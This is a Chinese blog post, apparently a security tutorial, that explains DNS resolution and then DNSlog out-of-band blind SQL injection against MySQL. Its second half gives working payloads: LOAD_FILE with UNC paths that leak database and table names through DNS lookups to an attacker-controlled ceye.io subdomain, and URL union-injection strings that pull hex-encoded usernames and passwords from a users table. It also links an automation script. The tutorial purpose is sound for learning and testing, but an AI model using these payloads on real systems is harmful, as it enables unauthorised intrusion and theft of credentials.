zoukankan      html  css  js  c++  java
  • Dnslog盲注

    DNS域名解析的全过程

    下面来详细解释DNS域名解析的过程:
    网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入www.163.com,这时,你使用的电脑会发出一个DNS请求到本地DNS服务器。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。
    查询xxx.ceye.io的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。
    根DNS服务器没有记录具体的域名和IP地址的对应关系,而是告诉本地DNS服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。
    本地DNS服务器继续向域服务器发出请求,在这个例子中,请求的对象是.com域服务器。.com域服务器收到请求之后,也不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器,你的域名的解析服务器的地址。
    最后,本地DNS服务器向域名的解析服务器发出请求,这时就能收到一个域名和IP地址对应关系,本地DNS服务器不仅要把IP地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。
     
    关于DNS解析的TTL参数:
    我们在配置DNS解析的时候,有一个参数常常容易忽略,就是DNS解析的TTL参数,Time To Live。TTL这个参数告诉本地DNS服务器,域名缓存的最长时间。用阿里云解析来举例,阿里云解析默认的TTL是10分钟,10分钟的含义是,本地DNS服务器对于域名的缓存时间是10分钟,10分钟之后,本地DNS服务器就会删除这条记录,删除之后,如果有用户访问这个域名,就要重复一遍上述复杂的流程。
    其实,如果网站已经进入稳定发展的状态,不会轻易更换IP地址,我们完全可以将TTL设置到协议最大值,即24小时。带来的好处是,让域名解析记录能够更长时间的存放在本地DNS服务器中,以加快所有用户的访问。设置成24小时,其实,还解决了Googlebot在全球部署的服务器抓取网站可能带来的问题,这个问题麦新杰专门有一篇博文,请参考:Googlebot无法访问您的站点”问题理解和处理方法
    阿里云之所以只将TTL设置成10分钟,是为了让域名解析更快生效而已。因为之前的解析会在最长10分钟之后失效(本地DNS服务器将对应的解析条目删除),然后新的解析生效。如果是24小时,这个生效的时间最长就是24小时,甚至更长(本地DNS服务器要有用户请求,才会发起查询)。
    关于DNS域名解析过程,就说这么多吧。
    来源: https://www.cnblogs.com/waycool/p/7101425.html
    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,
    但是盲注往往效率很低,所以产生了DNSlog注入。具体原理如下。
    首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。
    来源: https://www.cnblogs.com/afanti/p/8047530.html

    手工测试



    可以看到三种查询都被记录下来了 那么我们就可以利用这种特性进行dnslog注入,利用mysql发起请求,访问我构造的域名,当解析请求到达ceye.io时,就会被记录下来

    Mysql LOAD_FILE函数可以发起请求;

    select LOAD_FILE(CONCAT('\\','test','.mysql.buvx2r.ceye.io\abc'));
    select LOAD_FILE(CONCAT('\\',database(),'.mysql.buvx2r.ceye.io\abc'));\的意思是让LOAD_FILE去读每个文件,当然这么文件存不存在,我们并不在意
    //查询当前库的第一个表
    select LOAD_FILE(CONCAT('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mysql.buvx2r.ceye.io\abc'));
    



    DNS请求被成功记录下来,由于test位置是可控的,所以我们可以将查询语句插入


    成功爆出当前数据库名
    值得注意的是我们不能出现特殊符号,:~@所以要进行特殊处理 只能windows
    Payload

    //查询第当前库第一个表名
    ?id=1' union select LOAD_FILE(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.buvx2r.ceye.io\abc')),2,3--+
    //查询users表第一个字段 使用hex编码避免出现特殊字符
    ?id=1' union select LOAD_FILE(concat('\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.mysql.buvx2r.ceye.io\abc')),2,3--+
    



    查询到的hex加密的信息

    解密

    https://github.com/ADOOO/DnslogSqlinj 自动化脚本

  • 相关阅读:
    PHP-Manual的学习----【语言参考】----【基本语法】
    PHP-Manual的学习----【安装与配置】
    Python HTML解析模块HTMLParser(爬虫工具)
    Apache 配置方法(虚拟目录、域名、虚拟主机等)
    Apache httpd.conf配置文件主要内容解释
    Apache Windows下Apache安装步骤
    Apache Linux下Apache安装步骤
    【LOJ】#2055. 「TJOI / HEOI2016」排序
    【LOJ】#2054. 「TJOI / HEOI2016」树
    【LOJ】#2052. 「HNOI2016」矿区
  • 原文地址:https://www.cnblogs.com/AirSky/p/12099853.html
Copyright © 2011-2022 走看看